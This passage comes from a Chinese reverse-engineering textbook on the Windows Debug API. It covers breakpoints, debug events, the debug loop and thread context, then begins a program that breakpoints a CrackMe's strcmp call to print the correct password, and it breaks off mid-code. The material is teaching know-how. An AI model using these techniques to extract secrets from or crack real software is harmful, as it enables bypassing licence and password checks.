文件补丁与内存补丁就已经介绍完了。对于这两种补丁来说，都是通过前面学到的知识来完成的，可见前面的基础知识的用处还是非常广泛的。用了这么多的篇幅来介绍使用OD破解CrackMe，也介绍了文件补丁和内存补丁，那么，接下来就要开始学习调试API了。掌握了调试API以后，完全可以打造一个类似于OD这样的应用程序调试器。让我们一步一步学习吧。
 

 
4.9 调试API函数的使用
 
在 Windows 中有这么一些 API 函数是专门用来进行调试的，这些函数被称作为 Debug API，或者是调试API。利用这些函数可以进行调试器的开发，调试器通过创建有调试关系的父子进程来进行调试，被调试进程的底层信息、即时的寄存器、指令等信息都可以被获取，进而用来分析。
 
上面介绍的OllyDbg调试器的功能非常得强大，虽然有众多的功能，但是其基础的实现就是依赖于调试API。调试API函数的个数虽然不多，但是合理的使用会产生非常大的作用。调试器依赖于调试事件，调试事件有着非常复杂的结构体，调试器有着固定的流程，由于实时需要等待调试事件的发生，其过程是一个调试循环体，非常类似SDK开发程序中的消息循环。无论是调试事件，还是调试循环，对于调试或者说调试器来说，其最根本、最核心的部分是中断，或者说其最核心的部分是可以捕获中断。
 

 
4.9.1 常见的3种断点方法
 
在前面介绍OD的时候提到过，产生中断的方法是设置断点，常见的产生中断的断点方法有3种，一种是中断断点，一种是内存断点，还有一种是硬件断点。下面分别来介绍这3种断点的不同。
 
中断断点，这里通常指的是汇编语言中的int3 指令，CPU 执行该指令时会产生一个断点，因此也常称之为INT3 断点。现在演示一下如何使用int 3 来产生一个断点。代码如下：
 
int main(int argc, char* argv[])
 
{
 
__asm int 3
 
return 0;
 
}
 
在代码中使用了__asm，在__asm后面可以使用汇编指令，如果想添加一段汇编指令，方法是__asm{}这样的。通过__asm可以在C语言中进行内嵌汇编语言。在__asm后面直接使用的是int3 指令，这样会产生一个异常，称为断点中断异常。对这段简单的代码进行编译连接，并且运行。运行后出现了错误对话框，如图4-62所示。
 

 [image: figure_0133_0122]

 

  图4-62 异常对话框 

 
这个对话框可能常常见到，而且见到以后多半很郁闷，通常情况是直接单击“不发送”按钮，然后关闭这个对话框。在这里，这个异常是通过int3 导致的，不要忙着关掉它。通常在写自己的软件时如果出现这样的错误，应该去寻找一些更多的帮助信息来修正错误。单击“请单击此处”链接，出现如图4-63所示的对话框。
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  图4-63 “异常基本信息”对话框 

 
弹出“异常基本信息”对话框，因为这个对话框给出的信息实在太少了，继续单击“要查看关于错误报告的技术信息”后面的“单击此处”链接，打开如图4-64所示的对话框。
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  图4-64 “错误报告内容”对话框 

 
通常情况下，在这个报告中只关心两个内容，一个内容是Code，另一个内容是Address。在图4-64中，Code后面的值为0x80000003，在Address后面的值为0x0000000000401028。Code的值为产生异常的异常代码，Address是产生异常的地址。在Winnt.h中定义了关于Code的值，在这里0x80000003的定义为STATUS_BREAKPOINT，也就是断点中断。在Winnt.h中的定义为：
 
#define STATUS_BREAKPOINT ((NTSTATUS)0x80000003L)
 
这里给的Address可以看出是一个VA（虚拟地址），用OD打开这个程序，直接按F9键运行，如图4-65、图4-66所示。
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  图4-65 在OD中运行后被断下 
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  图4-66 OD状态栏提示 

 
从图4-65所示的地方看到，程序执行停在了00401029的位置处。从图4-66所示的地方可以看到，INT3命令位于00401028的位置处。再看一下图4-64中Address后面的值，值为00401028。这也就证明了在系统的错误报告中可以给出正确的出错地址的。这样在以后写程序的过程中可以很容易地定位到自己程序中有错误的位置。
 
回到中断断点的话题上，中断断点是由int3 产生的，那么要如何通过调试器（调试进程）在被调试进程中设置中断断点呢？看图4-65中00401028地址处，在地址值的后面，在反汇编代码的前面，中间那一列的内容是汇编指令对应的机器码。可以看出，INT3对应的机器码是0xCC。如果想通过调试器在被调试进程中设置INT3断点的话，那么只需要把要中断的位置的机器码改为0xCC即可，当调试器捕获到该断点异常时，修改为原来的值即可。
 
内存断点的方法同样是通过异常来产生的。在Win32平台下，内存是按页进行划分的，每页的大小为4KB。每一页内存都有其各自的内存属性，常见的内存属性有只读、可读写、可执行等。内存断点的原理就是通过对内存属性的修改，而导致本该进行的操作无法进行，这样便会引发异常。
 
在OD中关于内存断点有两种，一种是内存访问，另外一种是内存写入。用OD随便打开一个应用程序，在其“转存窗口”（或者叫“数据窗口”）中随便选中一些数据点后单击右键，在弹出的菜单中选择“断点”命令，在“断点”子命令下会看到“内存访问”和“内存写入”两种断点，如图4-67所示。
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  图4-67 内存断点类型 

 
下面通过简单例子来看一下如何产生一个内存访问异常，代码如下：
 
#include <Windows.h>
 
#define MEMLEN　0x100
 
int main(int argc, char* argv[])
 
{
 
PBYTE pByte = NULL;
 
pByte = (PBYTE)malloc(MEMLEN);
 
if ( pByte == NULL )
 
{
 
return -1;
 
}
 
DWORD dwProtect = 0;
 
VirtualProtect(pByte, MEMLEN, PAGE_READONLY, &dwProtect);
 
BYTE bByte = '\xCC';
 
memcpy(pByte, (const char *)&bByte, MEMLEN);
 
free(pByte);
 
return 0;
 
}
 
在这个程序中，使用了VirtualProtect()函数，该函数与第3章中介绍的VirtualProtectEx()函数类似，不过 VirtualProtect()是用来修改当前进程的内存属性的。如果不记得，可以参考一下MSDN。
 
对这个程序编译连接，并运行起来。熟悉的出错界面又出现在眼前，如图4-68所示。
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  图4-68 “异常基本信息”对话框 

 
按照前面介绍的步骤打开“错误报告内容”对话框，如图4-69所示。
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  图4-69 “错误报告内容”对话框 

 
按照上面的分析方法来看一下Code和Address这两个值。Code后面的值为0xC0000005，这个值在Winnt.h中的定义如下：
 
#define STATUS_ACCESS_VIOLATION ((DWORD )0xC0000005L)
 
这个值的意义表示访问违例。在Address后面的值为0x0000000000402fa3，这个值是地址，但是这里的地址根据程序来考虑，值是用malloc()函数申请的，用于保存数据的堆地址，而不是用来保存代码的地址。这个地址就不进行测试了，因为是动态申请，很可能每次不同，因此大家了解就可以了。
 
硬件断点是有硬件进行支持的，关于硬件断点的具体原理就不进行介绍了。在OD中使用硬件断点的方法类似于内存断点，同样是在右键菜单中进行设置。由于是由硬件支持的，因此只能设置4个。请大家自行学习使用。
 

 
4.9.2 调试API函数及相关结构体介绍
 
通过前面的内容已经知道，调试器的根本是依靠中断，其核心也是中断。前面也演示了两个产生中断异常的例子。本小节的内容是介绍调试API函数，及其相关的调试结构体。调试API函数的数量非常少，但是其结构体是非常少有的较为复杂的，虽然说是复杂，其实只是嵌套的层级比较多，只要了解了较为常见的，剩下的可以自己对照MSDN进行学习。在介绍完调试API函数及其结构体后，再来简单演示一下，如何通过调试API捕获INT3断点和内存断点。
 
创建调试关系
 
既然是调试，那么必然存在调试和被调试。调试和被调试的这种调试关系是如何建立起来的，是我们首先要了解的内容。要使调试和被调试创建调试关系，那么就会用到两个函数中的一个，这两个函数分别是 CreateProcess()和 DebugActiveProcess()。其中 CreateProcess()函数已经介绍过了，那么如何使用 CreateProcess()函数来建立一个需要被调试的进程呢？还是来回顾一下CreateProcess()函数吧。CreateProcess()函数的定义如下：
 
BOOL CreateProcess(
 
LPCTSTR lpApplicationName,
 
LPTSTR lpCommandLine,
 
LPSECURITY_ATTRIBUTES lpProcessAttributes,
 
LPSECURITY_ATTRIBUTES lpThreadAttributes,
 
BOOL bInheritHandles,
 
DWORD dwCreationFlags,
 
LPVOID lpEnvironment,
 
LPCTSTR lpCurrentDirectory,
 
LPSTARTUPINFO lpStartupInfo,
 
LPPROCESS_INFORMATION lpProcessInformation
 
);
 
现在要做的是创建一个被调试进程。在 CreateProcess()函数中，有一个 dwCreationFlags的参数，该参数的取值中有两个重要的常量，分别为 DEBUG_PROCESS 和DEBUG_ONLY_THIS_PROCESS。DEBUG_PROCESS 的作用就是被创建的进程处于调试状态，如果一同指定了DEBUG_ONLY_THIS_PROCESS的话，那么就只能调试被创建的进程，而不能调试被调试进程创建出来的进程。只要在使用 CreateProcess()函数时指定这两个常量即可。
 
除了CreateProcess()函数以外，还有一种创建调试关系的方法，该方法用的函数如下：
 
BOOL DebugActiveProcess(
 
DWORD dwProcessId　// process to be debugged
 
);
 
这个函数的功能是附加到一个进程上。该函数的参数就一个，该参数指定了被调试进程的进程 ID 号。从函数名与函数参数可以看出来，这个函数是和一个已经被创建的进程来建立调试关系的，跟CreateProcess()的方法是不一样的。在OD中也同样有这个功能，打开OD，选择菜单中的“文件”->“挂接”命令，就出现“选择要挂接的进程”窗口，如图4-70所示。
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  图4-70 “选择要挂接到的进程”的窗口 

 
OD的这个功能就是通过DebugActiveProcess()函数来完成的。
 
调试器与被调试的目标进程可以通过前两个函数建立调试关系，但是如何使调试器与被调试的目标进程断开调试关系呢？有一个很简单的方法，关闭调试器进程，这样调试器进程与被调试的目标进程会同时结束。也可以关闭被调试的目标进程，这样也可以达到断开调试关系。那如何让调试器与被调试的目标进程断开调试关系，又保持被调试目标进程的运行呢？这里介绍一个函数，函数名为DebugActiveProcessStop()，其定义如下：
 
BOOL DebugActiveProcessStop(DWORD dwProcessId);
 
该函数只有一个参数，就是被调试进程的进程 ID 号。使用该函数可以在不影响调试器进程和被调试进程的正常运行而将两者的关系进行解除。
 

 
4.9.3 判断是否处于被调试状态
 
很多程序都要检测自己是否处于被调试状态，比如游戏、病毒，或者加壳后的程序。游戏为了防止被做出外挂而进行反调试，病毒为了给反病毒工程师增加分析难度而反调试，加壳程序是专门用来保护软件的，当然也会有反调试的功能（该功能仅限于加密壳，压缩壳是没有反调试功能的）。
 
本小节不是要介绍反调试，而是要介绍一个简单的函数，这个函数是判断自身是否处于被调试状态，函数名为IsDebuggerPresent()，函数的定义如下：
 
BOOL IsDebuggerPresent(VOID);
 
该函数没有参数，根据返回值来判断是否处于被调试状态。这个函数也可以用来进行反调试。不过由于这个函数的实现过于简单，很容易就能够被分析者突破，因此现在也没有软件再使用该函数来用作反调试了。
 
下面通过一个简单的例子来演示一下IsDebuggerPresent()函数的使用。代码如下：
 
#include <Windows.h>
 
#include <stdio.h>
 
extern "C" BOOL WINAPI IsDebuggerPresent(VOID);
 
DWORD WINAPI ThreadProc(LPVOID lpParam)
 
{
 
while ( TRUE )
 
{
 
// 检测用ActiveDebugProcess()创建调试关系
 
if ( IsDebuggerPresent() == TRUE )
 
{
 
printf("thread func checked the debuggee \r\n");
 
break;
 
}
 
Sleep(1000);
 
}
 
return 0;
 
}
 
int main(int argc, char* argv[])
 
{
 
BOOL bRet = FALSE;
 
// 检测用CreateProcess()创建调试关系
 
bRet = IsDebuggerPresent();
 
if ( bRet == TRUE )
 
{
 
printf("main func checked the debuggee \r\n");
 
getchar();
 
return 1;
 
}
 
HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
 
if ( hThread == NULL )
 
{
 
return -1;
 
}
 
WaitForSingleObject(hThread, INFINITE);
 
CloseHandle(hThread);
 
getchar();
 
return 0;
 
}
 
这个例子用来检测是否被调试。在进入主函数后，直接调用 IsDebuggerPresent()函数，用来判断是否被调试器创建。在自定义线程函数中，一直循环检测是否被附加。只要发现自身处于被调试状态，那么就在控制台中进行输出提示。
 
现在用OD对这个程序进行测试。首先用OD直接打开这个程序并按F9键运行，如图4-71所示。
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  图4-71 主函数检测到调试器 

 
按下F9 键启动以后，控制台中输出“mian func checked the debuggee”，也就是发现了调试器。
 
再测试一下检测OD附加的效果。先运行这个程序，然后用OD去挂接它，看其提示，如图4-72所示。
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  图4-72 线程函数检测到调试器 

 
控制台中输出“thread func checked the debuggee”。可以看出用OD 进行附加也能够检测到自身处于被调试状态。
 
注意：进行该测试时请选用原版OD。由于该检测是否处于被调试方法过于简单，因此任何其他修改版的OD都可以将其突破，从而使测试失败。
 

 
4.9.4 断点异常函数
 
有时为了调试方便可能会在自己的代码中插入__asm int 3，这样当程序运行到这里时会产生一个断点，就可以用调试器进行调试了。其实微软提供了一个函数，使用该函数可以直接让程序运行到某处的时候产生INT3断点，该函数的定义如下：
 
VOID DebugBreak(VOID);
 
修改一下前面的程序，把__asm int 3 替换为DebugBreak()，编译连接并运行看一下。同样会因产生异常而出现“异常基本信息”对话框，查看它的“错误报告内容”，如图4-73所示。
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  图4-73 “错误报告内容”对话框 

 
看一下Code的后面的值，看到值为0x80000003就应该知道是EXCEPTION_BREAKPOINT。再看Address后面的值，值为0x000000007c92120e，从这个地址可以看出，该值在系统的DLL文件中，因为调用的是系统提供的函数。
 

 
4.9.5 调试事件
 
调试器在调试程序的过程中，是通过不断地下断点来完成的，而断点的产生在前面的内容中提到过一部分。通过前面介绍的 INT3 断点和内存断点可以得知，调试器是在捕获目标进程产生的异常从而作出响应。当然，对于介绍的断点来说是这样的，不过对于调试器来说，除了对异常作出响应以外，还会对其他的一些事件作出响应，异常只是所有调试能进行响应事件的一部分。
 
调试器的工作主要是依赖调试事件，调试事件在系统中被定义为一个结构体，也是到目前为止要接触的最为复杂的一个结构体，因为这个结构体的嵌套关系很多。这个结构体的定义如下：
 
typedef struct _DEBUG_EVENT {
 
DWORD dwDebugEventCode;
 
DWORD dwProcessId;
 
DWORD dwThreadId;
 
union {
 
EXCEPTION_DEBUG_INFO Exception;
 
CREATE_THREAD_DEBUG_INFO CreateThread;
 
CREATE_PROCESS_DEBUG_INFO CreateProcessInfo;
 
EXIT_THREAD_DEBUG_INFO ExitThread;
 
EXIT_PROCESS_DEBUG_INFO ExitProcess;
 
LOAD_DLL_DEBUG_INFO LoadDll;
 
UNLOAD_DLL_DEBUG_INFO UnloadDll;
 
OUTPUT_DEBUG_STRING_INFO DebugString;
 
RIP_INFO RipInfo;
 
} u;
 
} DEBUG_EVENT, *LPDEBUG_EVENT;
 
这个结构体非常重要，我们有必要详细地介绍一番。
 
（1）dwDebugEventCode：该字段指定了调试事件的类型编码。在调试的过程中可能产生的调试事件非常多，因此要根据不同的类型码进行不同的响应处理。常见的调试事件如图4-74所示。
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  图4-74 dwDebugEventCode取值 

 
（2）dwProcessId：该字段指明了引发调试事件的进程ID号。
 
（3）dwThreadId：该字段指明了引发调试事件的线程ID号。
 
（4）u：该字段是一个联合体，该联合体的取值由dwDebugEventCode指定。在该联合体中包含了很多个结构体，包括 EXCEPTION_DEBUG_INFO、CREATE_THREAD_DEBUG_INFO、CREATE_PROCESS_DEBUG_INFO、EXIT_THREAD_DEBUG_INFO、EXIT_PROCESS_DEBUG_INFO、LOAD_DLL_DEBUG_INFO、UNLOAD_DLL_DEBUG_INFO和OUTPUT_DEBUG_STRING_INFO。
 
在以上众多的结构体中，特别要介绍一下 EXCEPTION_DEBUG_INFO，因为这个结构体中包含了关于异常相关的信息，而对于其他的几个结构体，使用比较简单，大家可以参考MSDN。EXCEPTION_DEBUG_INFO的定义如下：
 
typedef struct _EXCEPTION_DEBUG_INFO {
 
EXCEPTION_RECORD ExceptionRecord;
 
DWORD dwFirstChance;
 
} EXCEPTION_DEBUG_INFO, LPEXCEPTION_DEBUG_INFO;
 
在EXCEPTION_DEBUG_INFO中包含的EXCEPTION_RECORD结构体中保存着真正的异常信息，对于 dwFirstChance 里面保存着 ExceptionRecord 的个数。看一下关于EXCEPTION_RECORD结构体的定义：
 
typedef struct _EXCEPTION_RECORD {
 
DWORD ExceptionCode;
 
DWORD ExceptionFlags;
 
struct _EXCEPTION_RECORD *ExceptionRecord;
 
PVOID ExceptionAddress;
 
DWORD NumberParameters;
 
ULONG_PTR
 
ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
 
} EXCEPTION_RECORD, PEXCEPTION_RECORD;
 
（1）ExceptionCode：异常码。该值在 MSDN 中的定义非常多，不过我们需要使用的值只有 3 个，分别是 EXCEPTION_ACCESS_VIOLATION （访问违例）、EXCEPTION_BREAKPOINT（断点异常）和 EXCEPTION_SINGLE_STEP（单步异常）。这 3 个值中的前两个值对于我们来说是非常熟悉的，因为在前面已经介绍过了，关于最后一个单步异常想必也是非常熟悉的了。我们在使用OD快捷键的F7键、F8键时就是在使用单步功能，而单步异常就是有EXCEPTION_SINGLE_STEP来表示的。
 
（2）ExceptionRecord：指向一个EXCEPTION_RECORD的指针，异常记录是一个链表，其中可能保存着很多的异常信息。
 
（3）ExceptionAddress：异常产生的地址。
 
调试事件这个结构体 DEBUG_EVENT 看似非常复杂，其实也只是嵌套得比较深而已。只要大家去体会每个结构体，体会每层嵌套的含义，自然而然就觉得它没有多么复杂了。
 

 
4.9.6 调试循环
 
调试器在不断地对被调试目标进程进行捕获调试信息，有点类似于Win32应用程序的消息循环，但是又有所不同。调试器在捕获到调试信息后，进行相应地处理，然后恢复线程使之继续运行。
 
用来等待捕获被调试进程调试事件的函数是WaitForDebugEvent()，该函数的定义如下：
 
BOOL WaitForDebugEvent(
 
LPDEBUG_EVENT lpDebugEvent,　// debug event information
 
DWORD dwMilliseconds　　// time-out value
 
);
 
（1）lpDebugEvent：该参数用于接收保存调试事件；
 
（2）dwMillisenconds：该参数用于指定超时的时间，无限制等待使用INFINITE。
 
在调试器捕获到调试事件后会对被调试的目标进程中产生调试事件的线程进行挂起，在调试器对被调试目标进程进行相应的处理后，需要使用 ContinueDebugEvent()对先前被挂起的线程进行恢复。ContinueDebugEvent()函数的定义如下：
 
BOOL ContinueDebugEvent(
 
DWORD dwProcessId,　　// process to continue
 
DWORD dwThreadId,　　// thread to continue
 
DWORD dwContinueStatus　// continuation status
 
);
 
（1）dwProcessId：该参数表示被调试进程的进程标识符。
 
（2）dwThreadId：该参数表示准备恢复挂起线程的线程标识符。
 
（3） dwContinueStatus：该参数指定了该线程以何种方式继续执行，该参数的取值为DBG_EXCEPTION_NOT_HANDLED和DBG_CONTINUE。对于这两个值来说，在通常的情况下并没有什么差别。但是当遇到调试事件中的调试码为 EXCEPTION_DEBUG_EVENT 时这两个常量就会有不同的动作，如果使用DBG_EXCEPTION_NOT_HANDLED，调试器进程将会忽略该异常，Windows 会使用被调试进程的异常处理函数对异常进行处理；如果使用DBG_CONTINUE的话，那么需要调试器进程对异常进行处理，然后继续运行。
 
由上面两个函数配合调试事件结构体，就可以构成一个完整的调试循环，以下这段调试循环的代码摘自MSDN，代码如下：
 
DEBUG_EVENT DebugEv;　　　　// debugging event information
 
DWORD dwContinueStatus = DBG_CONTINUE; // exception continuation
 
for(;;)
 
{
 
// Wait for a debugging event to occur. The second parameter indicates
 
// that the function does not return until a debugging event occurs.
 
WaitForDebugEvent(&DebugEv, INFINITE);
 
// Process the debugging event code.
 
switch (DebugEv.dwDebugEventCode)
 
{
 
case EXCEPTION_DEBUG_EVENT:
 
// Process the exception code. When handling
 
// exceptions, remember to set the continuation
 
// status parameter (dwContinueStatus). This value
 
// is used by the ContinueDebugEvent function.
 
switch (DebugEv.u.Exception.ExceptionRecord.ExceptionCode)
 
{
 
case EXCEPTION_ACCESS_VIOLATION:
 
// First chance: Pass this on to the system.
 
// Last chance: Display an appropriate error.
 
case EXCEPTION_BREAKPOINT:
 
// First chance: Display the current
 
// instruction and register values.
 
case EXCEPTION_DATATYPE_MISALIGNMENT:
 
// First chance: Pass this on to the system.
 
// Last chance: Display an appropriate error.
 
case EXCEPTION_SINGLE_STEP:
 
// First chance: Update the display of the
 
// current instruction and register values.
 
case DBG_CONTROL_C:
 
// First chance: Pass this on to the system.
 
// Last chance: Display an appropriate error.
 
// Handle other exceptions.
 
}
 
case CREATE_THREAD_DEBUG_EVENT:
 
// As needed, examine or change the thread's registers
 
// with the GetThreadContext and SetThreadContext functions;
 
// and suspend and resume thread execution with the
 
// SuspendThread and ResumeThread functions.
 
case CREATE_PROCESS_DEBUG_EVENT:
 
// As needed, examine or change the registers of the
 
// process's initial thread with the GetThreadContext and
 
// SetThreadContext functions; read from and write to the
 
// process's virtual memory with the ReadProcessMemory and
 
// WriteProcessMemory functions; and suspend and resume
 
// thread execution with the SuspendThread and ResumeThread
 
// functions.
 
case EXIT_THREAD_DEBUG_EVENT:
 
// Display the thread's exit code.
 
case EXIT_PROCESS_DEBUG_EVENT:
 
// Display the process's exit code.
 
case LOAD_DLL_DEBUG_EVENT:
 
// Read the debugging information included in the newly
 
// loaded DLL.
 
case UNLOAD_DLL_DEBUG_EVENT:
 
// Display a message that the DLL has been unloaded.
 
case OUTPUT_DEBUG_STRING_EVENT:
 
// Display the output debugging string.
 
}
 
// Resume executing the thread that reported the debugging event.
 
ContinueDebugEvent(DebugEv.dwProcessId,
 
DebugEv.dwThreadId, dwContinueStatus);
 
}
 
以上就是一个完整的调试循环，不过有些调试事件对于我们来说可能是用不到的，那么就把不需要的调试事件所对应的case语句删除掉就可以了。
 

 
4.9.7 内存的操作
 
调试器进程通常要对被调试的目标进程进行内存的读取或写入。对于跨进程的内存读取和写入的函数其实在前面的章节已介绍过，就是ReadProcessMemory() 和WriteProcessMemory()。
 
要对被调试的目标进程设置INT3断点时，就需要使用WriteProcessMemory()函数对指定的位置写入0xCC。当INT3被执行后，要在原来的位置上把原来的机器码写回去，原来的机器码需要使用ReadProcessMemory()函数来进行读取。
 
关于内存操作除了以上两个函数以外，还有一个就是修改内存的页面属性的函数，即VirtualProtectEx()，同样这个函数前面也介绍过了。
 

 
4.9.8 线程环境相关API及结构体
 
在前面的章节中介绍过，进程是用来向系统申请各种资源的，而真正被分配到CPU并执行代码的是线程。进程中的每个线程都共享着进程的资源，但是每个线程都有不同的线程上下文，或线程环境。Windows是一个多任务的操作系统，在Windows中为每一个线程分配一个时间片，当某个线程执行完其所属的时间片后，Windows会切换到另外的线程去执行。在进行线程切换以前有一步保存线程环境的工作，那就是保存在切换时线程的所有寄存器值、栈信息及描述符等相关的所有信息。只有把线程的上下文保存起来，在下次该线程被CPU再次调度时才能正确地接着上次的工作继续进行。
 
在Windows系统下，将线程环境定义为CONTEXT结构体，该结构体需要在Winnt.h头文件中找到，在MSDN中并没有给出定义。CONTEXT结构体的定义如下：
 
typedef struct _CONTEXT {
 
DWORD ContextFlags;
 
DWORD　Dr0;
 
DWORD　Dr1;
 
DWORD　Dr2;
 
DWORD　Dr3;
 
DWORD　Dr6;
 
DWORD　Dr7;
 
FLOATING_SAVE_AREA FloatSave;
 
DWORD　SegGs;
 
DWORD　SegFs;
 
DWORD　SegEs;
 
DWORD　SegDs;
 
DWORD　Edi;
 
DWORD　Esi;
 
DWORD　Ebx;
 
DWORD　Edx;
 
DWORD　Ecx;
 
DWORD　Eax;
 
DWORD　Ebp;
 
DWORD　Eip;
 
DWORD　SegCs;　　　// MUST BE SANITIZED
 
DWORD　EFlags;　　　// MUST BE SANITIZED
 
DWORD　Esp;
 
DWORD　SegSs;
 
BYTE　ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
 
} CONTEXT;
 
typedef CONTEXT PCONTEXT;
 
这个结构体看似很大，但是也并不大，只要了解汇编语言的话，结构体中的各个字段应该是非常熟悉的。关于各个寄存器的介绍这里就不进行介绍了，这个需要大家自己查看资料了。这里只介绍一下 ContextFlags 字段的功能，该字段用于控制 GetThreadContext()和SetThreadContext()能够获取或写入的环境信息。ContextFlags的取值也只能在Winnt.h头文件中找到，其取值如下：
 
#define CONTEXT_CONTROL (CONTEXT_i386 | 0x00000001L) // SS:SP, CS:IP, FLAGS, BP
 
#define CONTEXT_INTEGER (CONTEXT_i386 | 0x00000002L) // AX, BX, CX, DX, SI, DI
 
#define CONTEXT_SEGMENTS (CONTEXT_i386 | 0x00000004L) // DS, ES, FS, GS
 
#define CONTEXT_FLOATING_POINT (CONTEXT_i386 | 0x00000008L) // 387 state
 
#define CONTEXT_DEBUG_REGISTERS (CONTEXT_i386 | 0x00000010L) // DB 0-3,6,7
 
#define　CONTEXT_EXTENDED_REGISTERS　(CONTEXT_i386　|　0x00000020L)　//　cpu　specificextensions
 
#define CONTEXT_FULL (CONTEXT_CONTROL | CONTEXT_INTEGER |\
 
CONTEXT_SEGMENTS)
 
#define CONTEXT_ALL (CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS)
 
从这些宏定义的注释来看，能很清楚地知道这些宏可以控制 GetThreadContext()和SetThreadContext()进行何种操作。大家在真正使用时进行相应的赋值就可以了。
 
注意：该结构体可能会在Winnt.h中找到多个定义，因为该结构体是与平台相关的。因此，在各种不同的平台上此结构体有所不同。
 
线程环境在Windows中定义了一个CONTEXT的结构体，我们要进行获取或设置线程环境的话，需要使用GetThreadContext()和SetThreadContext()。这两个函数的定义分别如下：
 
BOOL GetThreadContext(
 
HANDLE hThread,　　// handle to thread with context
 
LPCONTEXT lpContext　// context structure
 
);
 
BOOL SetThreadContext(
 
HANDLE hThread,　　　// handle to thread
 
CONST CONTEXT *lpContext　// context structure
 
);
 
这两个函数的参数都基本一样，hThread表示线程句柄，而lpContext表示指向CONTEXT的指针。所不同的是，GetThreadContext()是用来获取线程环境的，SetThreadContext()是用来进行设置线程环境的。
 

 
4.10 打造一个密码显示器
 
关于系统提供的调试API函数我们已经学习了不少了，而且基本上常用到的函数我们也都学习过了。下面用调试API编写一个能够显示密码的程序。大家别以为我们写的程序什么密码都能显示，这是不可能的。下面针对前面的那个CrackMe来编写一个显示密码的程序。
 
在编写关于CrackMe的密码显示程序以前需要准备两项工作，第一个工作是知道要在什么地方合理地下断点，第二个工作是从哪里能读取到密码。带着这两个问题重新来进行思考一下。在我们的程序中，要对两个字符串进行比较，而比较的函数是 strcmp()，该函数有两个参数，分别是输入的密码和真正的密码。也就是说在调用 strcmp()这个函数的位置下断点通过查看它的参数是可以获取到正确的密码的。就在调用strcmp()这个函数的位置设置INT3断点，也就是将 0xCC 机器码写入这个地址。用 OD 看一下调用 strcmp()函数的地址，如图4-75所示。
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  图4-75 调用strcmp()函数的地址 

 
从图4-75中可以看出，调用strcmp()函数的地址为004024CE。有了这个地址只要找到该函数的两个参数，就可以找到输入的错误的密码及正确的密码。从图4-75中看出，正确的密码的起始地址保存在EDX中，错误的密码的起始地址保存在ECX中，只要在004024CE这个地址下断，并通过线程环境读取EDX和ECX寄存器值就可以得到两个密码的起始地址。
 
要进行准备的工作已经做好了，下面来写一个控制台的程序。先定义两个常量，一个是用来设置断点的地址，另一个是INT3指令的机器码。定义如下：
 
// 需要设置INT3断点的位置
 
#define BP_VA　0x004024CE
 
// INT3的机器码
 
const BYTE bInt3 = '\xCC';
 
把CrackMe的文件路径及文件名当参数传递给显示密码的程序。显示的程序首先要以调试的方式创建CrackMe，代码如下：
 
// 创建被调试进程
 
BOOL bRet = CreateProcess(pszFileName,
 
NULL,
 
NULL,
 
NULL,
 
FALSE,
 
DEBUG_PROCESS |
 
DEBUG_ONLY_THIS_PROCESS,
 
NULL,
 
NULL,
 
&si,
 
&pi);
 
if ( bRet == FALSE )
 
{
 
printf("CreateProcess Error\r\n");
 
return -1;
 
}
 
然后就进入调试循环，调试循环中要处理两个调试事件，一个 是CREATE_PROCESS_DEBUG_EVENT，另一个调试事件是EXCEPTION_DEBUG_EVENT下的 EXCEPTION_BREAKPOINT。这两个事件在调试循环中进行处理，对于处理CREATE_PROCESS_DEBUG_EVENT的代码如下：
 
// 创建进程时的调试事件
 
case CREATE_PROCESS_DEBUG_EVENT:
 
{
 
//读取欲设置INT3断点处的机器码
 
// 方便后面恢复
 
ReadProcessMemory(pi.hProcess,
 
(LPVOID)BP_VA,
 
(LPVOID)&bOldByte,
 
sizeof(BYTE),
 
&dwReadWriteNum);
 
// 将INT3 的机器码0xCC 写入断点处
 
WriteProcessMemory(pi.hProcess,
 
(LPVOID)BP_VA,
 
(LPVOID)&bInt3,
 
sizeof(BYTE),
 
&dwReadWriteNum);
 
break;
 
}
 
在 CREATE_PROCESS_DEBUG_EVENT 中对调用 strcmp()函数的地址处设置 INT3 断点，在将 0xCC 写入这里时要把原来的机器码读取出来。读取原机器码使用ReadProcessMemory() ，写入 INT3 的机器码使用 WriteProcessMemory()。再来看一下EXCEPTION_DEBUG_EVENT下的EXCEPTION_BREAKPOINT是如何进行处理的。
 
case EXCEPTION_DEBUG_EVENT:
 
{
 
// 判断异常类型
 
switch ( de.u.Exception.ExceptionRecord.ExceptionCode )
 
{
 
// INT3类型的异常
 
case EXCEPTION_BREAKPOINT:
 
{
 
// 获取线程环境
 
context.ContextFlags = CONTEXT_FULL;
 
GetThreadContext(pi.hThread, &context);
 
// 判断是否断在设置的断点位置处
 
if ( (BP_VA + 1) == context.Eip )
 
{
 
// 读取正确的密码
 
ReadProcessMemory(pi.hProcess,
 
(LPVOID)context.Edx,
 
(LPVOID)pszPassword,
 
MAXBYTE,
 
&dwReadWriteNum);
 
// 读取错误密码
 
ReadProcessMemory(pi.hProcess,
 
(LPVOID)context.Ecx,
 
(LPVOID)pszErrorPass,
 
MAXBYTE,
 
&dwReadWriteNum);
 
printf("你输入的密码是: %s \r\n", pszErrorPass);
 
printf("正确的密码是: %s \r\n", pszPassword);
 
// 因为指令执行了INT3，因此被中断
 
// INT3的机器指令长度为一个字节
 
// 因此需要将EIP减一来修正EIP
 
// EIP是指令指针寄存器
 
// 其中保存着下条要执行指令的地址
 
context.Eip --;
 
// 修正原来该地址的机器码
 
WriteProcessMemory(pi.hProcess,
 
(LPVOID)BP_VA,
 
(LPVOID)&bOldByte,
 
sizeof(BYTE),
 
&dwReadWriteNum);
 
// 设置当前的线程环境
 
SetThreadContext(pi.hThread, &context);
 
}
 
break;
 
}
 
}
 
}
 
对于调试事件的处理，应该放到调试循环中，上面的代码给的是对调试事件的处理，再来看一下调试循环的大体代码：
 
while ( TRUE )
 
{
 
// 获取调试事件
 
WaitForDebugEvent(&de, INFINITE);
 
// 判断事件类型
 
switch ( de.dwDebugEventCode )
 
{
 
// 创建进程时的调试事件
 
case CREATE_PROCESS_DEBUG_EVENT:
 
{
 
break;
 
}
 
// 产生异常时的调试事件
 
case EXCEPTION_DEBUG_EVENT:
 
{
 
// 判断异常类型
 
switch ( de.u.Exception.ExceptionRecord.ExceptionCode )
 
{
 
// INT3类型的异常
 
